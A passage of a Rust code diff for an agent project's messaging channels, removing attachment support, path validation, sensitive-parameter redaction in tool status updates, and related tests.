pub thread_id: Option<String>,
|
||||||
/// Optional file paths to attach.
|
|
||||||
pub attachments: Vec<String>,
|
|
||||||
/// Channel-specific metadata for the response.
|
/// Channel-specific metadata for the response.
|
||||||
pub metadata: serde_json::Value,
|
pub metadata: serde_json::Value,
|
||||||
}
|
}
|
||||||
@@ -91,7 +88,6 @@ impl OutgoingResponse {
|
|||||||
Self {
|
Self {
|
||||||
content: content.into(),
|
content: content.into(),
|
||||||
thread_id: None,
|
thread_id: None,
|
||||||
attachments: Vec::new(),
|
|
||||||
metadata: serde_json::Value::Null,
|
metadata: serde_json::Value::Null,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -101,12 +97,6 @@ impl OutgoingResponse {
|
|||||||
self.thread_id = Some(thread_id.into());
|
self.thread_id = Some(thread_id.into());
|
||||||
self
|
self
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Add attachments to the response.
|
|
||||||
pub fn with_attachments(mut self, paths: Vec<String>) -> Self {
|
|
||||||
self.attachments = paths;
|
|
||||||
self
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Status update types for showing agent activity.
|
/// Status update types for showing agent activity.
|
||||||
@@ -117,20 +107,7 @@ pub enum StatusUpdate {
|
|||||||
/// Tool execution started.
|
/// Tool execution started.
|
||||||
ToolStarted { name: String },
|
ToolStarted { name: String },
|
||||||
/// Tool execution completed.
|
/// Tool execution completed.
|
||||||
///
|
ToolCompleted { name: String, success: bool },
|
||||||
/// Use [`StatusUpdate::tool_completed`] to construct this variant — it
|
|
||||||
/// handles redaction of sensitive parameters and keeps the 9-line pattern
|
|
||||||
/// in one place.
|
|
||||||
ToolCompleted {
|
|
||||||
name: String,
|
|
||||||
success: bool,
|
|
||||||
/// Error message when success is false.
|
|
||||||
error: Option<String>,
|
|
||||||
/// Tool input parameters (JSON string) for display on failure.
|
|
||||||
/// Only populated when `success` is `false`. Values listed in the
|
|
||||||
/// tool's `sensitive_params()` are replaced with `"[REDACTED]"`.
|
|
||||||
parameters: Option<String>,
|
|
||||||
},
|
|
||||||
/// Brief preview of tool execution output.
|
/// Brief preview of tool execution output.
|
||||||
ToolResult { name: String, preview: String },
|
ToolResult { name: String, preview: String },
|
||||||
/// Streaming text chunk.
|
/// Streaming text chunk.
|
||||||
@@ -165,38 +142,6 @@ pub enum StatusUpdate {
|
|||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
|
||||||
impl StatusUpdate {
|
|
||||||
/// Build a `ToolCompleted` status with redacted parameters.
|
|
||||||
///
|
|
||||||
/// On failure, serializes the tool's input parameters as pretty JSON after
|
|
||||||
/// replacing any keys listed in the tool's `sensitive_params()` with
|
|
||||||
/// `"[REDACTED]"`. On success, no parameters or error are included.
|
|
||||||
///
|
|
||||||
/// Pass the resolved `Tool` reference (if available) so this method can
|
|
||||||
/// query `sensitive_params()` directly — callers don't need to manage the
|
|
||||||
/// borrow lifetime of the sensitive slice.
|
|
||||||
pub fn tool_completed(
|
|
||||||
name: String,
|
|
||||||
result: &Result<String, crate::error::Error>,
|
|
||||||
params: &serde_json::Value,
|
|
||||||
tool: Option<&dyn crate::tools::Tool>,
|
|
||||||
) -> Self {
|
|
||||||
let success = result.is_ok();
|
|
||||||
let sensitive = tool.map(|t| t.sensitive_params()).unwrap_or(&[]);
|
|
||||||
Self::ToolCompleted {
|
|
||||||
name,
|
|
||||||
success,
|
|
||||||
error: result.as_ref().err().map(|e| e.to_string()),
|
|
||||||
parameters: if !success {
|
|
||||||
let safe = crate::tools::redact_params(params, sensitive);
|
|
||||||
Some(serde_json::to_string_pretty(&safe).unwrap_or_else(|_| safe.to_string()))
|
|
||||||
} else {
|
|
||||||
None
|
|
||||||
},
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Trait for message channels.
|
/// Trait for message channels.
|
||||||
///
|
///
|
||||||
/// Channels receive messages from external sources and convert them to
|
/// Channels receive messages from external sources and convert them to
|
||||||
@@ -253,146 +198,8 @@ pub trait Channel: Send + Sync {
|
|||||||
/// Check if the channel is healthy.
|
/// Check if the channel is healthy.
|
||||||
async fn health_check(&self) -> Result<(), ChannelError>;
|
async fn health_check(&self) -> Result<(), ChannelError>;
|
||||||
|
|
||||||
/// Get conversation context from message metadata for system prompt.
|
|
||||||
///
|
|
||||||
/// Returns key-value pairs like "sender", "sender_uuid", "group" that
|
|
||||||
/// help the LLM understand who it's talking to.
|
|
||||||
///
|
|
||||||
/// Default implementation returns empty map.
|
|
||||||
fn conversation_context(&self, _metadata: &serde_json::Value) -> HashMap<String, String> {
|
|
||||||
HashMap::new()
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Gracefully shut down the channel.
|
/// Gracefully shut down the channel.
|
||||||
async fn shutdown(&self) -> Result<(), ChannelError> {
|
async fn shutdown(&self) -> Result<(), ChannelError> {
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
#[cfg(test)]
|
|
||||||
mod tests {
|
|
||||||
use super::*;
|
|
||||||
|
|
||||||
/// Stub tool that marks `"value"` as sensitive.
|
|
||||||
struct SecretTool;
|
|
||||||
|
|
||||||
#[async_trait]
|
|
||||||
impl crate::tools::Tool for SecretTool {
|
|
||||||
fn name(&self) -> &str {
|
|
||||||
"secret_save"
|
|
||||||
}
|
|
||||||
fn description(&self) -> &str {
|
|
||||||
"stub"
|
|
||||||
}
|
|
||||||
fn parameters_schema(&self) -> serde_json::Value {
|
|
||||||
serde_json::json!({"type": "object", "properties": {}})
|
|
||||||
}
|
|
||||||
async fn execute(
|
|
||||||
&self,
|
|
||||||
_params: serde_json::Value,
|
|
||||||
_ctx: &crate::context::JobContext,
|
|
||||||
) -> Result<crate::tools::ToolOutput, crate::tools::ToolError> {
|
|
||||||
unreachable!()
|
|
||||||
}
|
|
||||||
fn sensitive_params(&self) -> &[&str] {
|
|
||||||
&["value"]
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn tool_completed_redacts_sensitive_params_on_failure() {
|
|
||||||
let params = serde_json::json!({"name": "api_key", "value": "sk-secret-123"});
|
|
||||||
let err: Result<String, crate::error::Error> =
|
|
||||||
Err(crate::error::ToolError::ExecutionFailed {
|
|
||||||
name: "secret_save".into(),
|
|
||||||
reason: "db error".into(),
|
|
||||||
}
|
|
||||||
.into());
|
|
||||||
let tool = SecretTool;
|
|
||||||
|
|
||||||
let status = StatusUpdate::tool_completed(
|
|
||||||
"secret_save".into(),
|
|
||||||
&err,
|
|
||||||
¶ms,
|
|
||||||
Some(&tool as &dyn crate::tools::Tool),
|
|
||||||
);
|
|
||||||
|
|
||||||
if let StatusUpdate::ToolCompleted {
|
|
||||||
success,
|
|
||||||
error,
|
|
||||||
parameters,
|
|
||||||
..
|
|
||||||
} = &status
|
|
||||||
{
|
|
||||||
assert!(!success);
|
|
||||||
let err_msg = error.as_deref().expect("should have error");
|
|
||||||
assert!(err_msg.contains("db error"), "error: {}", err_msg);
|
|
||||||
let param_str = parameters
|
|
||||||
.as_ref()
|
|
||||||
.expect("should have parameters on failure");
|
|
||||||
assert!(
|
|
||||||
param_str.contains("[REDACTED]"),
|
|
||||||
"sensitive value should be redacted: {}",
|
|
||||||
param_str
|
|
||||||
);
|
|
||||||
assert!(
|
|
||||||
!param_str.contains("sk-secret-123"),
|
|
||||||
"raw secret should not appear: {}",
|
|
||||||
param_str
|
|
||||||
);
|
|
||||||
assert!(
|
|
||||||
param_str.contains("api_key"),
|
|
||||||
"non-sensitive params should be preserved: {}",
|
|
||||||
param_str
|
|
||||||
);
|
|
||||||
} else {
|
|
||||||
panic!("expected ToolCompleted variant");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn tool_completed_no_params_on_success() {
|
|
||||||
let params = serde_json::json!({"name": "key", "value": "secret"});
|
|
||||||
let ok: Result<String, crate::error::Error> = Ok("done".into());
|
|
||||||
|
|
||||||
let status = StatusUpdate::tool_completed("secret_save".into(), &ok, ¶ms, None);
|
|
||||||
|
|
||||||
if let StatusUpdate::ToolCompleted {
|
|
||||||
success,
|
|
||||||
error,
|
|
||||||
parameters,
|
|
||||||
..
|
|
||||||
} = &status
|
|
||||||
{
|
|
||||||
assert!(success);
|
|
||||||
assert!(error.is_none());
|
|
||||||
assert!(parameters.is_none(), "no params should be sent on success");
|
|
||||||
} else {
|
|
||||||
panic!("expected ToolCompleted variant");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn tool_completed_no_tool_passes_params_unredacted() {
|
|
||||||
let params = serde_json::json!({"cmd": "ls -la"});
|
|
||||||
let err: Result<String, crate::error::Error> =
|
|
||||||
Err(crate::error::ToolError::ExecutionFailed {
|
|
||||||
name: "shell".into(),
|
|
||||||
reason: "timeout".into(),
|
|
||||||
}
|
|
||||||
.into());
|
|
||||||
|
|
||||||
let status = StatusUpdate::tool_completed("shell".into(), &err, ¶ms, None);
|
|
||||||
|
|
||||||
if let StatusUpdate::ToolCompleted { parameters, .. } = &status {
|
|
||||||
let param_str = parameters.as_ref().expect("should have parameters");
|
|
||||||
assert!(
|
|
||||||
param_str.contains("ls -la"),
|
|
||||||
"non-sensitive params should pass through: {}",
|
|
||||||
param_str
|
|
||||||
);
|
|
||||||
} else {
|
|
||||||
panic!("expected ToolCompleted variant");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|||||||
+3
-14
@@ -14,7 +14,7 @@ use crate::error::ChannelError;
|
|||||||
/// Includes an injection channel so background tasks (e.g., job monitors) can
|
/// Includes an injection channel so background tasks (e.g., job monitors) can
|
||||||
/// push messages into the agent loop without being a full `Channel` impl.
|
/// push messages into the agent loop without being a full `Channel` impl.
|
||||||
pub struct ChannelManager {
|
pub struct ChannelManager {
|
||||||
channels: Arc<RwLock<HashMap<String, Arc<dyn Channel>>>>,
|
channels: Arc<RwLock<HashMap<String, Box<dyn Channel>>>>,
|
||||||
inject_tx: mpsc::Sender<IncomingMessage>,
|
inject_tx: mpsc::Sender<IncomingMessage>,
|
||||||
/// Taken once in `start_all()` and merged into the stream.
|
/// Taken once in `start_all()` and merged into the stream.
|
||||||
inject_rx: tokio::sync::Mutex<Option<mpsc::Receiver<IncomingMessage>>>,
|
inject_rx: tokio::sync::Mutex<Option<mpsc::Receiver<IncomingMessage>>>,
|
||||||
@@ -42,10 +42,7 @@ impl ChannelManager {
|
|||||||
/// Add a channel to the manager.
|
/// Add a channel to the manager.
|
||||||
pub async fn add(&self, channel: Box<dyn Channel>) {
|
pub async fn add(&self, channel: Box<dyn Channel>) {
|
||||||
let name = channel.name().to_string();
|
let name = channel.name().to_string();
|
||||||
self.channels
|
self.channels.write().await.insert(name.clone(), channel);
|
||||||
.write()
|
|
||||||
.await
|
|
||||||
.insert(name.clone(), Arc::from(channel));
|
|
||||||
tracing::debug!("Added channel: {}", name);
|
tracing::debug!("Added channel: {}", name);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -59,10 +56,7 @@ impl ChannelManager {
|
|||||||
let stream = channel.start().await?;
|
let stream = channel.start().await?;
|
||||||
|
|
||||||
// Register for respond/broadcast/send_status
|
// Register for respond/broadcast/send_status
|
||||||
self.channels
|
self.channels.write().await.insert(name.clone(), channel);
|
||||||
.write()
|
|
||||||
.await
|
|
||||||
.insert(name.clone(), Arc::from(channel));
|
|
||||||
|
|
||||||
// Forward stream messages through inject_tx
|
// Forward stream messages through inject_tx
|
||||||
let tx = self.inject_tx.clone();
|
let tx = self.inject_tx.clone();
|
||||||
@@ -223,11 +217,6 @@ impl ChannelManager {
|
|||||||
pub async fn channel_names(&self) -> Vec<String> {
|
pub async fn channel_names(&self) -> Vec<String> {
|
||||||
self.channels.read().await.keys().cloned().collect()
|
self.channels.read().await.keys().cloned().collect()
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Get a channel by name.
|
|
||||||
pub async fn get_channel(&self, name: &str) -> Option<Arc<dyn Channel>> {
|
|
||||||
self.channels.read().await.get(name).cloned()
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
impl Default for ChannelManager {
|
impl Default for ChannelManager {
|
||||||
|
|||||||
@@ -38,7 +38,6 @@ use tokio::sync::mpsc;
|
|||||||
use tokio_stream::wrappers::ReceiverStream;
|
use tokio_stream::wrappers::ReceiverStream;
|
||||||
|
|
||||||
use crate::agent::truncate_for_preview;
|
use crate::agent::truncate_for_preview;
|
||||||
use crate::bootstrap::ironclaw_base_dir;
|
|
||||||
use crate::channels::{Channel, IncomingMessage, MessageStream, OutgoingResponse, StatusUpdate};
|
use crate::channels::{Channel, IncomingMessage, MessageStream, OutgoingResponse, StatusUpdate};
|
||||||
use crate::error::ChannelError;
|
use crate::error::ChannelError;
|
||||||
|
|
||||||
@@ -280,7 +279,10 @@ fn print_help() {
|
|||||||
|
|
||||||
/// Get the history file path (~/.ironclaw/history).
|
/// Get the history file path (~/.ironclaw/history).
|
||||||
fn history_path() -> std::path::PathBuf {
|
fn history_path() -> std::path::PathBuf {
|
||||||
ironclaw_base_dir().join("history")
|
dirs::home_dir()
|
||||||
|
.unwrap_or_else(|| std::path::PathBuf::from("."))
|
||||||
|
.join(".ironclaw")
|
||||||
|
.join("history")
|
||||||
}
|
}
|
||||||
|
|
||||||
#[async_trait]
|
#[async_trait]
|
||||||
@@ -466,7 +468,7 @@ impl Channel for ReplChannel {
|
|||||||
StatusUpdate::ToolStarted { name } => {
|
StatusUpdate::ToolStarted { name } => {
|
||||||
eprintln!(" \x1b[33m\u{25CB} {name}\x1b[0m");
|
eprintln!(" \x1b[33m\u{25CB} {name}\x1b[0m");
|
||||||
}
|
}
|
||||||
StatusUpdate::ToolCompleted { name, success, .. } => {
|
StatusUpdate::ToolCompleted { name, success } => {
|
||||||
if success {
|
if success {
|
||||||
eprintln!(" \x1b[32m\u{25CF} {name}\x1b[0m");
|
eprintln!(" \x1b[32m\u{25CF} {name}\x1b[0m");
|
||||||
} else {
|
} else {
|
||||||
|
|||||||
+16
-329
@@ -17,7 +17,6 @@ use serde::Deserialize;
|
|||||||
use tokio::sync::RwLock;
|
use tokio::sync::RwLock;
|
||||||
use uuid::Uuid;
|
use uuid::Uuid;
|
||||||
|
|
||||||
use crate::bootstrap::ironclaw_base_dir;
|
|
||||||
use crate::channels::{Channel, IncomingMessage, MessageStream, OutgoingResponse, StatusUpdate};
|
use crate::channels::{Channel, IncomingMessage, MessageStream, OutgoingResponse, StatusUpdate};
|
||||||
use crate::config::SignalConfig;
|
use crate::config::SignalConfig;
|
||||||
use crate::error::ChannelError;
|
use crate::error::ChannelError;
|
||||||
@@ -245,7 +244,7 @@ impl SignalChannel {
|
|||||||
.map_err(|e| ChannelError::Http(e.to_string()))?;
|
.map_err(|e| ChannelError::Http(e.to_string()))?;
|
||||||
|
|
||||||
let target = Self::parse_recipient_target(recipient);
|
let target = Self::parse_recipient_target(recipient);
|
||||||
let params = Self::build_rpc_params_static(http_url, account, &target, Some(message), None);
|
let params = Self::build_rpc_params_static(http_url, account, &target, Some(message));
|
||||||
|
|
||||||
let url = format!("{}/api/v1/rpc", http_url);
|
let url = format!("{}/api/v1/rpc", http_url);
|
||||||
let id = Uuid::new_v4().to_string();
|
let id = Uuid::new_v4().to_string();
|
||||||
@@ -505,7 +504,6 @@ impl SignalChannel {
|
|||||||
&self,
|
&self,
|
||||||
target: &RecipientTarget,
|
target: &RecipientTarget,
|
||||||
message: Option<&str>,
|
message: Option<&str>,
|
||||||
attachments: Option<&[String]>,
|
|
||||||
) -> serde_json::Value {
|
) -> serde_json::Value {
|
||||||
match target {
|
match target {
|
||||||
RecipientTarget::Direct(id) => {
|
RecipientTarget::Direct(id) => {
|
||||||
@@ -516,16 +514,6 @@ impl SignalChannel {
|
|||||||
if let Some(msg) = message {
|
if let Some(msg) = message {
|
||||||
params["message"] = serde_json::Value::String(msg.to_string());
|
params["message"] = serde_json::Value::String(msg.to_string());
|
||||||
}
|
}
|
||||||
if let Some(attachments) = attachments
|
|
||||||
&& !attachments.is_empty()
|
|
||||||
{
|
|
||||||
params["attachments"] = serde_json::Value::Array(
|
|
||||||
attachments
|
|
||||||
.iter()
|
|
||||||
.map(|s| serde_json::Value::String(s.clone()))
|
|
||||||
.collect(),
|
|
||||||
);
|
|
||||||
}
|
|
||||||
params
|
params
|
||||||
}
|
}
|
||||||
RecipientTarget::Group(group_id) => {
|
RecipientTarget::Group(group_id) => {
|
||||||
@@ -536,76 +524,17 @@ impl SignalChannel {
|
|||||||
if let Some(msg) = message {
|
if let Some(msg) = message {
|
||||||
params["message"] = serde_json::Value::String(msg.to_string());
|
params["message"] = serde_json::Value::String(msg.to_string());
|
||||||
}
|
}
|
||||||
if let Some(attachments) = attachments
|
|
||||||
&& !attachments.is_empty()
|
|
||||||
{
|
|
||||||
params["attachments"] = serde_json::Value::Array(
|
|
||||||
attachments
|
|
||||||
.iter()
|
|
||||||
.map(|s| serde_json::Value::String(s.clone()))
|
|
||||||
.collect(),
|
|
||||||
);
|
|
||||||
}
|
|
||||||
params
|
params
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Validate that attachment paths are safe and within the sandbox.
|
|
||||||
/// Uses the shared path validation logic from path_utils to ensure:
|
|
||||||
/// - No path traversal attacks (../, URL-encoded, null bytes)
|
|
||||||
/// - Paths are canonicalized and symlinks resolved
|
|
||||||
/// - All paths are within ~/.ironclaw/ sandbox
|
|
||||||
fn validate_attachment_paths(paths: &[String]) -> Result<(), ChannelError> {
|
|
||||||
// Get the sandbox base directory (same as MessageTool uses)
|
|
||||||
let base_dir = ironclaw_base_dir();
|
|
||||||
|
|
||||||
for path in paths {
|
|
||||||
crate::tools::builtin::path_utils::validate_path(path, Some(&base_dir)).map_err(
|
|
||||||
|e| {
|
|
||||||
ChannelError::InvalidMessage(format!(
|
|
||||||
"Attachment path must be within {}: {}",
|
|
||||||
base_dir.display(),
|
|
||||||
e
|
|
||||||
))
|
|
||||||
},
|
|
||||||
)?;
|
|
||||||
}
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Send a message with attachments (if any).
|
|
||||||
/// Combines text and attachments into a single RPC call when both are present.
|
|
||||||
async fn send_with_attachments(
|
|
||||||
&self,
|
|
||||||
target: &RecipientTarget,
|
|
||||||
content: &str,
|
|
||||||
attachments: &[String],
|
|
||||||
) -> Result<(), ChannelError> {
|
|
||||||
Self::validate_attachment_paths(attachments)?;
|
|
||||||
|
|
||||||
if attachments.is_empty() {
|
|
||||||
let params = self.build_rpc_params(target, Some(content), None);
|
|
||||||
self.rpc_request("send", params).await?;
|
|
||||||
} else if content.is_empty() {
|
|
||||||
// Attachments only - send all in a single call with no message text
|
|
||||||
let params = self.build_rpc_params(target, None, Some(attachments));
|
|
||||||
self.rpc_request("send", params).await?;
|
|
||||||
} else {
|
|
||||||
// Both text and attachments - send in a single RPC call
|
|
||||||
let params = self.build_rpc_params(target, Some(content), Some(attachments));
|
|
||||||
self.rpc_request("send", params).await?;
|
|
||||||
}
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Build JSON-RPC params for a send/typing call (static version).
|
/// Build JSON-RPC params for a send/typing call (static version).
|
||||||
fn build_rpc_params_static(
|
fn build_rpc_params_static(
|
||||||
_http_url: &str,
|
_http_url: &str,
|
||||||
account: &str,
|
account: &str,
|
||||||
target: &RecipientTarget,
|
target: &RecipientTarget,
|
||||||
message: Option<&str>,
|
message: Option<&str>,
|
||||||
attachments: Option<&[String]>,
|
|
||||||
) -> serde_json::Value {
|
) -> serde_json::Value {
|
||||||
match target {
|
match target {
|
||||||
RecipientTarget::Direct(id) => {
|
RecipientTarget::Direct(id) => {
|
||||||
@@ -616,16 +545,6 @@ impl SignalChannel {
|
|||||||
if let Some(msg) = message {
|
if let Some(msg) = message {
|
||||||
params["message"] = serde_json::Value::String(msg.to_string());
|
params["message"] = serde_json::Value::String(msg.to_string());
|
||||||
}
|
}
|
||||||
if let Some(attachments) = attachments
|
|
||||||
&& !attachments.is_empty()
|
|
||||||
{
|
|
||||||
params["attachments"] = serde_json::Value::Array(
|
|
||||||
attachments
|
|
||||||
.iter()
|
|
||||||
.map(|s| serde_json::Value::String(s.clone()))
|
|
||||||
.collect(),
|
|
||||||
);
|
|
||||||
}
|
|
||||||
params
|
params
|
||||||
}
|
}
|
||||||
RecipientTarget::Group(group_id) => {
|
RecipientTarget::Group(group_id) => {
|
||||||
@@ -636,16 +555,6 @@ impl SignalChannel {
|
|||||||
if let Some(msg) = message {
|
if let Some(msg) = message {
|
||||||
params["message"] = serde_json::Value::String(msg.to_string());
|
params["message"] = serde_json::Value::String(msg.to_string());
|
||||||
}
|
}
|
||||||
if let Some(attachments) = attachments
|
|
||||||
&& !attachments.is_empty()
|
|
||||||
{
|
|
||||||
params["attachments"] = serde_json::Value::Array(
|
|
||||||
attachments
|
|
||||||
.iter()
|
|
||||||
.map(|s| serde_json::Value::String(s.clone()))
|
|
||||||
.collect(),
|
|
||||||
);
|
|
||||||
}
|
|
||||||
params
|
params
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -797,10 +706,8 @@ impl SignalChannel {
|
|||||||
});
|
});
|
||||||
|
|
||||||
// Build metadata with signal-specific routing info.
|
// Build metadata with signal-specific routing info.
|
||||||
let sender_uuid = envelope.source_uuid.as_deref();
|
|
||||||
let metadata = serde_json::json!({
|
let metadata = serde_json::json!({
|
||||||
"signal_sender": &sender,
|
"signal_sender": &sender,
|
||||||
"signal_sender_uuid": sender_uuid,
|
|
||||||
"signal_target": &target,
|
"signal_target": &target,
|
||||||
"signal_timestamp": timestamp,
|
"signal_timestamp": timestamp,
|
||||||
});
|
});
|
||||||
@@ -883,16 +790,13 @@ impl Channel for SignalChannel {
|
|||||||
.unwrap_or_else(|| msg.user_id.clone());
|
.unwrap_or_else(|| msg.user_id.clone());
|
||||||
|
|
||||||
let target = Self::parse_recipient_target(&target_str);
|
let target = Self::parse_recipient_target(&target_str);
|
||||||
|
let params = self.build_rpc_params(&target, Some(&response.content));
|
||||||
|
self.rpc_request("send", params).await?;
|
||||||
|
|
||||||
// Use shared helper for sending with attachments (includes validation)
|
// Clean up stored target.
|
||||||
let result = self
|
|
||||||
.send_with_attachments(&target, &response.content, &response.attachments)
|
|
||||||
.await;
|
|
||||||
|
|
||||||
// Clean up stored target regardless of success or failure.
|
|
||||||
self.reply_targets.write().await.pop(&msg.id);
|
self.reply_targets.write().await.pop(&msg.id);
|
||||||
|
|
||||||
result
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
async fn send_status(
|
async fn send_status(
|
||||||
@@ -905,7 +809,7 @@ impl Channel for SignalChannel {
|
|||||||
&& let Some(target_str) = metadata.get("signal_target").and_then(|v| v.as_str())
|
&& let Some(target_str) = metadata.get("signal_target").and_then(|v| v.as_str())
|
||||||
{
|
{
|
||||||
let target = Self::parse_recipient_target(target_str);
|
let target = Self::parse_recipient_target(target_str);
|
||||||
let params = self.build_rpc_params(&target, None, None);
|
let params = self.build_rpc_params(&target, None);
|
||||||
let _ = self.rpc_request("sendTyping", params).await;
|
let _ = self.rpc_request("sendTyping", params).await;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -974,7 +878,7 @@ impl Channel for SignalChannel {
|
|||||||
|
|
||||||
// Send tool completed notification (debug mode only)
|
// Send tool completed notification (debug mode only)
|
||||||
if self.is_debug()
|
if self.is_debug()
|
||||||
&& let StatusUpdate::ToolCompleted { name, success, .. } = &status
|
&& let StatusUpdate::ToolCompleted { name, success } = &status
|
||||||
&& let Some(target_str) = metadata.get("signal_target").and_then(|v| v.as_str())
|
&& let Some(target_str) = metadata.get("signal_target").and_then(|v| v.as_str())
|
||||||
{
|
{
|
||||||
let (icon, color) = if *success {
|
let (icon, color) = if *success {
|
||||||
@@ -1053,10 +957,9 @@ impl Channel for SignalChannel {
|
|||||||
response: OutgoingResponse,
|
response: OutgoingResponse,
|
||||||
) -> Result<(), ChannelError> {
|
) -> Result<(), ChannelError> {
|
||||||
let target = Self::parse_recipient_target(user_id);
|
let target = Self::parse_recipient_target(user_id);
|
||||||
|
let params = self.build_rpc_params(&target, Some(&response.content));
|
||||||
// Use shared helper for sending with attachments (includes validation)
|
self.rpc_request("send", params).await?;
|
||||||
self.send_with_attachments(&target, &response.content, &response.attachments)
|
Ok(())
|
||||||
.await
|
|
||||||
}
|
}
|
||||||
|
|
||||||
async fn health_check(&self) -> Result<(), ChannelError> {
|
async fn health_check(&self) -> Result<(), ChannelError> {
|
||||||
@@ -1079,34 +982,12 @@ impl Channel for SignalChannel {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
fn conversation_context(
|
|
||||||
&self,
|
|
||||||
metadata: &serde_json::Value,
|
|
||||||
) -> std::collections::HashMap<String, String> {
|
|
||||||
use std::collections::HashMap;
|
|
||||||
let mut ctx = HashMap::new();
|
|
||||||
|
|
||||||
if let Some(sender) = metadata.get("signal_sender").and_then(|v| v.as_str()) {
|
|
||||||
ctx.insert("sender".to_string(), sender.to_string());
|
|
||||||
}
|
|
||||||
if let Some(sender_uuid) = metadata.get("signal_sender_uuid").and_then(|v| v.as_str()) {
|
|
||||||
ctx.insert("sender_uuid".to_string(), sender_uuid.to_string());
|
|
||||||
}
|
|
||||||
if let Some(target) = metadata.get("signal_target").and_then(|v| v.as_str())
|
|
||||||
&& target.starts_with("group:")
|
|
||||||
{
|
|
||||||
ctx.insert("group".to_string(), target.to_string());
|
|
||||||
}
|
|
||||||
|
|
||||||
ctx
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
impl SignalChannel {
|
impl SignalChannel {
|
||||||
async fn send_status_message(&self, target: &str, message: &str) {
|
async fn send_status_message(&self, target: &str, message: &str) {
|
||||||
let target = Self::parse_recipient_target(target);
|
let target = Self::parse_recipient_target(target);
|
||||||
let params = self.build_rpc_params(&target, Some(message), None);
|
let params = self.build_rpc_params(&target, Some(message));
|
||||||
if let Err(e) = self.rpc_request("send", params).await {
|
if let Err(e) = self.rpc_request("send", params).await {
|
||||||
tracing::warn!("Signal: failed to send status message: {}", e);
|
tracing::warn!("Signal: failed to send status message: {}", e);
|
||||||
}
|
}
|
||||||
@@ -1306,7 +1187,6 @@ async fn sse_listener(
|
|||||||
let reply_params = channel.build_rpc_params(
|
let reply_params = channel.build_rpc_params(
|
||||||
&SignalChannel::parse_recipient_target(&target),
|
&SignalChannel::parse_recipient_target(&target),
|
||||||
Some(response),
|
Some(response),
|
||||||
None,
|
|
||||||
);
|
);
|
||||||
let _ = channel.rpc_request("send", reply_params).await;
|
let _ = channel.rpc_request("send", reply_params).await;
|
||||||
// Don't send the /debug command to the agent.
|
// Don't send the /debug command to the agent.
|
||||||
@@ -2045,7 +1925,7 @@ mod tests {
|
|||||||
fn build_rpc_params_direct_with_message() -> Result<(), ChannelError> {
|
fn build_rpc_params_direct_with_message() -> Result<(), ChannelError> {
|
||||||
let ch = make_channel()?;
|
let ch = make_channel()?;
|
||||||
let target = RecipientTarget::Direct("+5555555555".to_string());
|
let target = RecipientTarget::Direct("+5555555555".to_string());
|
||||||
let params = ch.build_rpc_params(&target, Some("Hello!"), None);
|
let params = ch.build_rpc_params(&target, Some("Hello!"));
|
||||||
assert_eq!(params["recipient"], serde_json::json!(["+5555555555"]));
|
assert_eq!(params["recipient"], serde_json::json!(["+5555555555"]));
|
||||||
assert_eq!(params["account"], "+1234567890");
|
assert_eq!(params["account"], "+1234567890");
|
||||||
assert_eq!(params["message"], "Hello!");
|
assert_eq!(params["message"], "Hello!");
|
||||||
@@ -2058,7 +1938,7 @@ mod tests {
|
|||||||
fn build_rpc_params_direct_without_message() -> Result<(), ChannelError> {
|
fn build_rpc_params_direct_without_message() -> Result<(), ChannelError> {
|
||||||
let ch = make_channel()?;
|
let ch = make_channel()?;
|
||||||
let target = RecipientTarget::Direct("+5555555555".to_string());
|
let target = RecipientTarget::Direct("+5555555555".to_string());
|
||||||
let params = ch.build_rpc_params(&target, None, None);
|
let params = ch.build_rpc_params(&target, None);
|
||||||
assert_eq!(params["recipient"], serde_json::json!(["+5555555555"]));
|
assert_eq!(params["recipient"], serde_json::json!(["+5555555555"]));
|
||||||
assert_eq!(params["account"], "+1234567890");
|
assert_eq!(params["account"], "+1234567890");
|
||||||
// No message key should be present for typing indicators.
|
// No message key should be present for typing indicators.
|
||||||
@@ -2070,7 +1950,7 @@ mod tests {
|
|||||||
fn build_rpc_params_group_with_message() -> Result<(), ChannelError> {
|
fn build_rpc_params_group_with_message() -> Result<(), ChannelError> {
|
||||||
let ch = make_channel()?;
|
let ch = make_channel()?;
|
||||||
let target = RecipientTarget::Group("abc123".to_string());
|
let target = RecipientTarget::Group("abc123".to_string());
|
||||||
let params = ch.build_rpc_params(&target, Some("Group msg"), None);
|
let params = ch.build_rpc_params(&target, Some("Group msg"));
|
||||||
assert_eq!(params["groupId"], "abc123");
|
assert_eq!(params["groupId"], "abc123");
|
||||||
assert_eq!(params["account"], "+1234567890");
|
assert_eq!(params["account"], "+1234567890");
|
||||||
assert_eq!(params["message"], "Group msg");
|
assert_eq!(params["message"], "Group msg");
|
||||||
@@ -2083,7 +1963,7 @@ mod tests {
|
|||||||
fn build_rpc_params_group_without_message() -> Result<(), ChannelError> {
|
fn build_rpc_params_group_without_message() -> Result<(), ChannelError> {
|
||||||
let ch = make_channel()?;
|
let ch = make_channel()?;
|
||||||
let target = RecipientTarget::Group("abc123".to_string());
|
